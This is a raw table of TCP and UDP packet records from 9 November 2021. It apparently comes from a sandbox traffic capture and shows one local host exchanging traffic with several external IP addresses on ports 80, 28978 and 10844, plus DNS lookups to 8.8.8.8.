Nov 9, 2021 22:22:13.495337963 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495359898 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495359898 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495383978 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495399952 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495408058 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495429993 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495450974 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495451927 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495475054 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495491028 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495496988 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495518923 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495542049 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495542049 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495565891 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495580912 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495588064 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495610952 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495626926 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495634079 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495656967 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495676041 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495680094 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495704889 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495718956 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.495728970 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.495767117 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.584153891 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.584198952 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:13.584299088 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:13.593156099 CET	49888	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:13.756746054 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:13.787278891 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:13.787344933 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:13.787383080 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:13.787496090 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:13.889986038 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:14.478605986 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:14.478712082 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:14.593210936 CET	49883	80	192.168.2.4	45.141.84.21
Nov 9, 2021 22:22:15.717261076 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.741574049 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.741621971 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.741724968 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.741730928 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.741766930 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.741774082 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.741796970 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.741825104 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.741858959 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.766289949 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.766351938 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.766380072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.766408920 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.766520023 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.766604900 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.766649961 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.766802073 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.766941071 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.766992092 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.767064095 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.790847063 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.790980101 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791057110 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791110039 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791137934 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791210890 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791269064 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791349888 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791475058 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791553020 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791632891 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791701078 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791815042 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.791893005 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.791990042 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.792236090 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.792248011 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.792428970 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.792659044 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.792788029 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.792795897 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.792876959 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.792988062 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.793118000 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.793227911 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.793318987 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.793324947 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.793495893 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.815355062 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.815399885 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.815501928 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.815781116 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.815812111 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.815996885 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.816240072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.816303968 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.816636086 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.816714048 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.816845894 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.817051888 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.817496061 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.818279982 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.818356037 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.818419933 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.819134951 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.819205999 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841119051 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841147900 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841377974 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841447115 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841506958 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.841648102 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.841662884 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.841964006 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.842102051 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.842335939 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.842432976 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.842565060 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.842677116 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.842808008 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.843015909 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.843272924 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.843458891 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.843658924 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.844001055 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.844165087 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.845060110 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.845165968 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.865914106 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.866113901 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.866441011 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.866508961 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.866728067 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.867113113 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.867218018 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.867237091 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.867465973 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.867908001 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868019104 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868383884 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868405104 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868452072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868577003 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868745089 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.868755102 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.868917942 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.869224072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.869487047 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.870058060 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.870613098 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.870871067 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.871062040 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.871227026 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.871668100 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.871814013 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.893042088 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.893088102 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.893132925 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.893418074 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.893821955 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.894212961 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.894757986 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.895075083 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.895376921 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.895976067 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.896229029 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.896251917 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.896383047 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.896466017 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.896656036 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.896955967 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.897037983 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.897341967 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.897576094 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.897859097 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.897972107 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.898277044 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.898447037 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.898622990 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.898849964 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.898969889 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.899456024 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.899600983 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.918456078 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:15.918569088 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:15.920453072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.920614004 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.921163082 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.921365023 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.922076941 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.922462940 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.923110008 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.923532963 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.923553944 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.923783064 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.923861027 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.924015999 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.924216986 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.924596071 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.925179005 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.925689936 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.926184893 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.926541090 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.926701069 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.948157072 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.948313951 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.948431969 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949054956 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949099064 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949388027 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949630976 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949901104 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.949980021 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.950403929 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.950542927 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.950700045 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.950948000 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:15.951020002 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.951105118 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.951430082 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.951464891 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.951714993 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.952016115 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.952332973 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.952579975 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.952900887 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.953088045 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.953491926 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.975317955 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.975358009 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976161957 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976196051 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976223946 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976249933 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976275921 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.976454020 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.977210999 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.977263927 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.977303028 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.985359907 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:15.986016035 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:16.011641979 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:16.022452116 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:16.047003031 CET	28978	49878	93.115.20.139	192.168.2.4
Nov 9, 2021 22:22:16.093364000 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:16.148091078 CET	49878	28978	192.168.2.4	93.115.20.139
Nov 9, 2021 22:22:18.546422958 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:18.546578884 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:19.593590021 CET	49888	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:23.406820059 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:23.406924009 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:32.878319025 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:32.878463030 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:22:36.681843042 CET	49895	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:39.783196926 CET	49895	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:45.783277988 CET	49895	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:22:53.358547926 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:22:53.358704090 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:23:02.969235897 CET	49897	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:23:06.097448111 CET	49897	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:23:12.101129055 CET	49897	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:23:29.410056114 CET	49899	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:23:30.222516060 CET	80	49887	47.74.84.15	192.168.2.4
Nov 9, 2021 22:23:30.222688913 CET	49887	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:23:32.396517992 CET	49899	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:23:38.397002935 CET	49899	10844	192.168.2.4	45.9.20.149

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2021 22:20:48.181229115 CET	49714	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:48.469034910 CET	53	49714	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:49.766926050 CET	58028	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:49.786566019 CET	53	58028	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:51.091515064 CET	53097	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:51.110956907 CET	53	53097	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:56.012543917 CET	62389	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:56.360290051 CET	53	62389	8.8.8.8	192.168.2.4
Nov 9, 2021 22:20:57.792776108 CET	49910	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:20:58.143651009 CET	53	49910	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:04.161433935 CET	55854	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:04.480629921 CET	53	55854	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:05.779247046 CET	63153	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:05.799434900 CET	53	63153	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:07.132746935 CET	56534	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:07.150015116 CET	53	56534	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:08.465326071 CET	64078	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:08.810220003 CET	53	64078	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:10.102009058 CET	61721	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:10.121613979 CET	53	61721	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:21.094811916 CET	61522	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:21.114425898 CET	53	61522	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:22.480365992 CET	52337	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:22.499907017 CET	53	52337	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:23.795788050 CET	55046	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:23.815069914 CET	53	55046	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:25.097748995 CET	49612	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:25.447969913 CET	53	49612	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:30.161583900 CET	49285	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:30.179389954 CET	53	49285	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:31.479443073 CET	50601	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:31.498986959 CET	53	50601	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:32.814738035 CET	60875	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:32.834692001 CET	53	60875	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:37.624569893 CET	56448	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:37.643862963 CET	53	56448	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:38.948087931 CET	59172	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:38.967904091 CET	53	59172	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:44.945497036 CET	62420	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:44.965086937 CET	53	62420	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:46.255127907 CET	60579	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:46.274498940 CET	53	60579	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:47.570796013 CET	50183	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:47.590293884 CET	53	50183	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:48.266598940 CET	61531	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:48.290569067 CET	53	61531	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:48.878771067 CET	59794	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:49.248229027 CET	53	59794	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:56.009752035 CET	55916	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:56.027358055 CET	53	55916	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:57.334422112 CET	60542	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:57.353862047 CET	53	60542	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:58.635862112 CET	60689	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:58.655211926 CET	53	60689	8.8.8.8	192.168.2.4
Nov 9, 2021 22:21:59.960345030 CET	64206	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:21:59.979754925 CET	53	64206	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:01.274131060 CET	50904	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:01.295880079 CET	53	50904	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:03.175628901 CET	57525	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:03.194483042 CET	53	57525	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:04.478583097 CET	53814	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:04.496556997 CET	53	53814	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:05.538686991 CET	53418	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:05.571943998 CET	53	53418	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:05.796813965 CET	62833	53	192.168.2.4	8.8.8.8
Nov 9, 2021 22:22:05.816350937 CET	53	62833	8.8.8.8	192.168.2.4
Nov 9, 2021 22:22:07.090008974 CET	59260	53	192.168.2.4	8.8.8.8
